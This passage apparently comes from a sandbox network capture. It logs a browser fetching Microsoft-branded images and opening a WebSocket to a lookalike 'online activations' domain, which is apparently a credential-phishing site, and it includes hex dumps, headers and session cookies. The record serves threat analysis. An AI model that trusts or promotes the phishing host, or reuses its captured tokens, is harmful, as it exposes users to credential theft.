a1 47 63 6d 31 f5 dd a9 f6 da 77 63 96 b0 31 d7 62 ea 52 ff 1a 3a 49 e6 50 5e ed 82 68 4e 4c b5 Data Ascii: ]mw6q-ItYj[k)IEBc`Ijw{{%`0<3Omk_mp<zpv~1O;S?~@594j,eqbDwmTb<?hDt {ZRSOZ,Z)B}jNj\Gcm1wc1bR:IP^hNL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49760	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:47 UTC	555	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:48 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:48 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:47 GMT etag: 0x8DB5C3F48EC4154 x-ms-request-id: d6c11568-001e-004c-607e-5024d9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193148Z-16fbf75468c2xbd5hC1FRAxq4800000009p000000000us39 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2024-12-20 19:31:48 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2024-12-20 19:31:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49761	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:47 UTC	821	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:48 UTC	758	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:48 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Sun, 18 Oct 2020 03:02:03 GMT etag: 0x8D8731230C851A6 x-ms-request-id: 8719b980-001e-0054-2d6d-508c01000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193148Z-16fbf75468cgcnxmhC1FRAtpkg0000000a4g00000000ufpg x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2024-12-20 19:31:48 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-12-20 19:31:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49762	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:47 UTC	834	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:48 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:48 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: 92035d31-901e-004e-387e-509a61000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193148Z-16fbf75468cp9shjhC1FRA4u4n00000009dg00000000h645 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:48 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-12-20 19:31:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49763	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:47 UTC	835	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:48 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:48 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: 99dd5d73-a01e-007a-06ce-50a9a9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193148Z-1777998d8f9pjvlfhC1DUS1u7s000000093g00000000vrvh x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:48 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-12-20 19:31:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49765	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:48 UTC	549	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:49 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:49 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4904824B x-ms-request-id: e205a26b-701e-0062-797e-503edc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193149Z-16fbf75468cd799zhC1FRAhy3g00000009z000000000v8w8 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2024-12-20 19:31:49 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2024-12-20 19:31:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49766	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:50 UTC	549	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:50 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:50 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: 4b214edc-801e-0042-01b0-500d69000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193150Z-1777998d8f9dwqq2hC1DUScak400000008tg00000000qvuv x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:50 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-12-20 19:31:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49767	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:50 UTC	536	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:50 UTC	758	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:50 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Sun, 18 Oct 2020 03:02:03 GMT etag: 0x8D8731230C851A6 x-ms-request-id: 8719b980-001e-0054-2d6d-508c01000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193150Z-16fbf75468cxr68xhC1FRAz5n4000000098000000000xew3 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2024-12-20 19:31:50 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-12-20 19:31:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49768	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:50 UTC	550	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:51 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:50 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: d2bff019-101e-001d-4481-50b955000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193150Z-16fbf75468cs8x2rhC1FRA18ew00000009xg00000000ernn x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:51 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-12-20 19:31:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49769	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:51 UTC	876	OUT	GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0 Sec-WebSocket-Key: Yx/Fft81p59UYB8e2uU+8A== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
